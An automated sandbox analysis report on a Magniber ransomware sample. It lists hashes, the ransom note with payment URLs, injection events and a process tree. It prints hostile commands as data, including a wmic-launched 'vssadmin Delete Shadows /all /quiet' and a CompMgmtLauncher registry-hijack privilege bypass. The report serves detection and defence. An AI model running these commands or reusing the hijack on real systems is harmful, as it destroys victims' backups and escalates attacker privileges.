magniber | 7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed

Resubmissions

18-08-2021 23:22

210818-8e7ftqdsax 10

22-05-2021 11:01

210522-avrsva3a7s 10

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7v20210410
submitted
18-08-2021 23:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c6b6ec00_by_Libranalysis.exe
Size

22KB
MD5

c6b6ec00b64069d66c8d14d65f7cfd8f
SHA1

b90e6bf12728fa3b0984aabc32b39f1db082a1da
SHA256

7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed
SHA512

c9d7c97c63806e87804c33530f48ba950542ba28421d354cb287c9bf027ff5a853b76200e87eadd3cde0469f4b8c93f8c4bc0e71f5e4aa1cdf33e05c0673254a

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://34704ac06214c040e8csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.nowuser.casa/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.boxgas.icu/csnwyqmwa http://34704ac06214c040e8csnwyqmwa.bykeep.club/csnwyqmwa Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://34704ac06214c040e8csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.nowuser.casa/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.boxgas.icu/csnwyqmwa

http://34704ac06214c040e8csnwyqmwa.bykeep.club/csnwyqmwa

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1916	2012	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1416	2012	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1272	2012	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	2012	cmd.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2580	2012	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2604	2012	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2616	2012	vssadmin.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	2012	vssadmin.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GrantSave.png => C:\Users\Admin\Pictures\GrantSave.png.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\JoinEdit.png => C:\Users\Admin\Pictures\JoinEdit.png.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\TestUnprotect.png => C:\Users\Admin\Pictures\TestUnprotect.png.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnprotectPush.crw => C:\Users\Admin\Pictures\UnprotectPush.crw.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ClearRename.tif => C:\Users\Admin\Pictures\ClearRename.tif.csnwyqmwa	taskhost.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

description	pid	process	target process
PID 1028 set thread context of 1108	1028	c6b6ec00_by_Libranalysis.exe	taskhost.exe
PID 1028 set thread context of 1168	1028	c6b6ec00_by_Libranalysis.exe	Dwm.exe
PID 1028 set thread context of 1196	1028	c6b6ec00_by_Libranalysis.exe	Explorer.EXE
PID 1028 set thread context of 0	1028	c6b6ec00_by_Libranalysis.exe

Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

2580 vssadmin.exe
2604 vssadmin.exe
2616 vssadmin.exe
2668 vssadmin.exe

pid	process
2580	vssadmin.exe
2604	vssadmin.exe
2616	vssadmin.exe
2668	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c07b3c888794d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{AF49B171-007A-11EC-A000-7A040FF2E5B0} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009cfa997a98a9ac47bbf2f14a59274da800000000020000000000106600000001000020000000499cd4d4305db2fe94546517df7ed16893d6b46ce4a5fb42fc1568d722f995c5000000000e80000000020000200000003e6df325fcbb01b12047b2f08b7512d754395f40ca67f6e0a04688d95760ef4590000000f9cdc2c8f437f852170653917c920d5b821e334acce4539bdc1a214805ac3d906451ac690ae4bf59169f243ab7926733a92594be2f68872505c6debf577842a3aeee0a21e4e9a86e80a836b46f35c399090c0276d016331ef78516dcc402e7d7e8ce1c7d46ee94531e9f4718fe5127641d68121f53ae71f4d79d984e564855bb020a670d1c7f21a17d7640f8a1a829a24000000017ed9dc71387ed3ef66cbba313cdedd556ccb7b41a85c3c5f2c230706002a24ef3a8d86a88af290bf838b4275d2150566d7de7488bcf34d6b6e84d6d80d4c929	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336093723"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000009cfa997a98a9ac47bbf2f14a59274da800000000020000000000106600000001000020000000a58812667358531133d1a6ba99320022db0a5fa0328e216e1f38ee25c8ebad86000000000e8000000002000020000000eda90d2822ff5a3a524d8db78d68eb3f51391974ffb7c768ef4d43861b1466ef20000000aea431e965481edccf8e8432453eb93bd915ffce6d41eb43ea37dcecb23b85f3400000003120a1048694ce728fb867063b7804090f7624240490f227826613e0330e95d1a43a15bf4787192c27de41d8fe77703fe4361994769eb4f640163d790f0d4f7c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies registry class 11 IoCs

Processes:

taskhost.exeDwm.exeExplorer.EXEc6b6ec00_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	c6b6ec00_by_Libranalysis.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	c6b6ec00_by_Libranalysis.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

1712 notepad.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

pid process

1028 c6b6ec00_by_Libranalysis.exe
1028 c6b6ec00_by_Libranalysis.exe
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

c6b6ec00_by_Libranalysis.exe

pid process

1028 c6b6ec00_by_Libranalysis.exe
1028 c6b6ec00_by_Libranalysis.exe
1028 c6b6ec00_by_Libranalysis.exe
1028 c6b6ec00_by_Libranalysis.exe

pid	process
1712	notepad.exe

pid	process
1028	c6b6ec00_by_Libranalysis.exe
1028	c6b6ec00_by_Libranalysis.exe

pid	process
1028	c6b6ec00_by_Libranalysis.exe
1028	c6b6ec00_by_Libranalysis.exe
1028	c6b6ec00_by_Libranalysis.exe
1028	c6b6ec00_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1532	WMIC.exe
Token: SeSecurityPrivilege	1532	WMIC.exe
Token: SeTakeOwnershipPrivilege	1532	WMIC.exe
Token: SeLoadDriverPrivilege	1532	WMIC.exe
Token: SeSystemProfilePrivilege	1532	WMIC.exe
Token: SeSystemtimePrivilege	1532	WMIC.exe
Token: SeProfSingleProcessPrivilege	1532	WMIC.exe
Token: SeIncBasePriorityPrivilege	1532	WMIC.exe
Token: SeCreatePagefilePrivilege	1532	WMIC.exe
Token: SeBackupPrivilege	1532	WMIC.exe
Token: SeRestorePrivilege	1532	WMIC.exe
Token: SeShutdownPrivilege	1532	WMIC.exe
Token: SeDebugPrivilege	1532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1532	WMIC.exe
Token: SeRemoteShutdownPrivilege	1532	WMIC.exe
Token: SeUndockPrivilege	1532	WMIC.exe
Token: SeManageVolumePrivilege	1532	WMIC.exe
Token: 33	1532	WMIC.exe
Token: 34	1532	WMIC.exe
Token: 35	1532	WMIC.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	980	WMIC.exe
Token: SeSecurityPrivilege	980	WMIC.exe
Token: SeTakeOwnershipPrivilege	980	WMIC.exe
Token: SeLoadDriverPrivilege	980	WMIC.exe
Token: SeSystemProfilePrivilege	980	WMIC.exe
Token: SeSystemtimePrivilege	980	WMIC.exe
Token: SeProfSingleProcessPrivilege	980	WMIC.exe
Token: SeIncBasePriorityPrivilege	980	WMIC.exe
Token: SeCreatePagefilePrivilege	980	WMIC.exe
Token: SeBackupPrivilege	980	WMIC.exe
Token: SeRestorePrivilege	980	WMIC.exe
Token: SeShutdownPrivilege	980	WMIC.exe
Token: SeDebugPrivilege	980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	980	WMIC.exe
Token: SeRemoteShutdownPrivilege	980	WMIC.exe
Token: SeUndockPrivilege	980	WMIC.exe
Token: SeManageVolumePrivilege	980	WMIC.exe
Token: 33	980	WMIC.exe
Token: 34	980	WMIC.exe
Token: 35	980	WMIC.exe
Token: SeIncreaseQuotaPrivilege	636	WMIC.exe
Token: SeSecurityPrivilege	636	WMIC.exe
Token: SeTakeOwnershipPrivilege	636	WMIC.exe
Token: SeLoadDriverPrivilege	636	WMIC.exe
Token: SeSystemProfilePrivilege	636	WMIC.exe
Token: SeSystemtimePrivilege	636	WMIC.exe
Token: SeProfSingleProcessPrivilege	636	WMIC.exe
Token: SeIncBasePriorityPrivilege	636	WMIC.exe
Token: SeCreatePagefilePrivilege	636	WMIC.exe
Token: SeBackupPrivilege	636	WMIC.exe
Token: SeRestorePrivilege	636	WMIC.exe
Token: SeShutdownPrivilege	636	WMIC.exe
Token: SeDebugPrivilege	636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	636	WMIC.exe
Token: SeRemoteShutdownPrivilege	636	WMIC.exe
Token: SeUndockPrivilege	636	WMIC.exe
Token: SeManageVolumePrivilege	636	WMIC.exe
Token: 33	636	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid process

1196 Explorer.EXE
1796 iexplore.exe
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
Suspicious use of SendNotifyMessage 6 IoCs

Processes:

Explorer.EXE

pid process

1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
1196 Explorer.EXE
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1796 iexplore.exe
1796 iexplore.exe
1396 IEXPLORE.EXE
1396 IEXPLORE.EXE
1396 IEXPLORE.EXE
1396 IEXPLORE.EXE

pid	process
1196	Explorer.EXE
1796	iexplore.exe
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

pid	process
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

pid	process
1796	iexplore.exe
1796	iexplore.exe
1396	IEXPLORE.EXE
1396	IEXPLORE.EXE
1396	IEXPLORE.EXE
1396	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

taskhost.exeDwm.exeExplorer.EXEcmd.exec6b6ec00_by_Libranalysis.execmd.execmd.execmd.execmd.exeiexplore.execmd.execmd.execmd.execmd.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	process	target process
PID 1108 wrote to memory of 1712	1108	taskhost.exe	notepad.exe
PID 1108 wrote to memory of 1712	1108	taskhost.exe	notepad.exe
PID 1108 wrote to memory of 1712	1108	taskhost.exe	notepad.exe
PID 1108 wrote to memory of 1732	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 1732	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 1732	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 1752	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 1752	1108	taskhost.exe	cmd.exe
PID 1108 wrote to memory of 1752	1108	taskhost.exe	cmd.exe
PID 1168 wrote to memory of 1244	1168	Dwm.exe	cmd.exe
PID 1168 wrote to memory of 1244	1168	Dwm.exe	cmd.exe
PID 1168 wrote to memory of 1244	1168	Dwm.exe	cmd.exe
PID 1196 wrote to memory of 1408	1196	Explorer.EXE	cmd.exe
PID 1196 wrote to memory of 1408	1196	Explorer.EXE	cmd.exe
PID 1196 wrote to memory of 1408	1196	Explorer.EXE	cmd.exe
PID 1752 wrote to memory of 1532	1752	cmd.exe	WMIC.exe
PID 1752 wrote to memory of 1532	1752	cmd.exe	WMIC.exe
PID 1752 wrote to memory of 1532	1752	cmd.exe	WMIC.exe
PID 1028 wrote to memory of 1728	1028	c6b6ec00_by_Libranalysis.exe	cmd.exe
PID 1028 wrote to memory of 1728	1028	c6b6ec00_by_Libranalysis.exe	cmd.exe
PID 1028 wrote to memory of 1728	1028	c6b6ec00_by_Libranalysis.exe	cmd.exe
PID 1732 wrote to memory of 1796	1732	cmd.exe	iexplore.exe
PID 1732 wrote to memory of 1796	1732	cmd.exe	iexplore.exe
PID 1732 wrote to memory of 1796	1732	cmd.exe	iexplore.exe
PID 1408 wrote to memory of 980	1408	cmd.exe	WMIC.exe
PID 1408 wrote to memory of 980	1408	cmd.exe	WMIC.exe
PID 1408 wrote to memory of 980	1408	cmd.exe	WMIC.exe
PID 1244 wrote to memory of 636	1244	cmd.exe	WMIC.exe
PID 1244 wrote to memory of 636	1244	cmd.exe	WMIC.exe
PID 1244 wrote to memory of 636	1244	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 760	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 760	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 760	1728	cmd.exe	WMIC.exe
PID 1796 wrote to memory of 1396	1796	iexplore.exe	IEXPLORE.EXE
PID 1796 wrote to memory of 1396	1796	iexplore.exe	IEXPLORE.EXE
PID 1796 wrote to memory of 1396	1796	iexplore.exe	IEXPLORE.EXE
PID 1796 wrote to memory of 1396	1796	iexplore.exe	IEXPLORE.EXE
PID 1916 wrote to memory of 2128	1916	cmd.exe	CompMgmtLauncher.exe
PID 1916 wrote to memory of 2128	1916	cmd.exe	CompMgmtLauncher.exe
PID 1916 wrote to memory of 2128	1916	cmd.exe	CompMgmtLauncher.exe
PID 1272 wrote to memory of 2140	1272	cmd.exe	CompMgmtLauncher.exe
PID 1272 wrote to memory of 2140	1272	cmd.exe	CompMgmtLauncher.exe
PID 1272 wrote to memory of 2140	1272	cmd.exe	CompMgmtLauncher.exe
PID 1572 wrote to memory of 2156	1572	cmd.exe	CompMgmtLauncher.exe
PID 1572 wrote to memory of 2156	1572	cmd.exe	CompMgmtLauncher.exe
PID 1572 wrote to memory of 2156	1572	cmd.exe	CompMgmtLauncher.exe
PID 1416 wrote to memory of 2232	1416	cmd.exe	CompMgmtLauncher.exe
PID 1416 wrote to memory of 2232	1416	cmd.exe	CompMgmtLauncher.exe
PID 1416 wrote to memory of 2232	1416	cmd.exe	CompMgmtLauncher.exe
PID 2140 wrote to memory of 2332	2140	CompMgmtLauncher.exe	wmic.exe
PID 2140 wrote to memory of 2332	2140	CompMgmtLauncher.exe	wmic.exe
PID 2140 wrote to memory of 2332	2140	CompMgmtLauncher.exe	wmic.exe
PID 2156 wrote to memory of 2340	2156	CompMgmtLauncher.exe	wmic.exe
PID 2156 wrote to memory of 2340	2156	CompMgmtLauncher.exe	wmic.exe
PID 2156 wrote to memory of 2340	2156	CompMgmtLauncher.exe	wmic.exe
PID 2128 wrote to memory of 2376	2128	CompMgmtLauncher.exe	wmic.exe
PID 2128 wrote to memory of 2376	2128	CompMgmtLauncher.exe	wmic.exe
PID 2128 wrote to memory of 2376	2128	CompMgmtLauncher.exe	wmic.exe
PID 2232 wrote to memory of 2392	2232	CompMgmtLauncher.exe	wmic.exe
PID 2232 wrote to memory of 2392	2232	CompMgmtLauncher.exe	wmic.exe
PID 2232 wrote to memory of 2392	2232	CompMgmtLauncher.exe	wmic.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe
  "C:\Users\Admin\AppData\Local\Temp\c6b6ec00_by_Libranalysis.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:760
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1408

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1244

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1712
- C:\Windows\system32\cmd.exe
  cmd /c "start http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa^&1^&49714945^&66^&315^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://34704ac06214c040e8csnwyqmwa.jobsbig.cam/csnwyqmwa&1&49714945&66&315&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1796 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1396
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1532

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:980

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2376

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2392

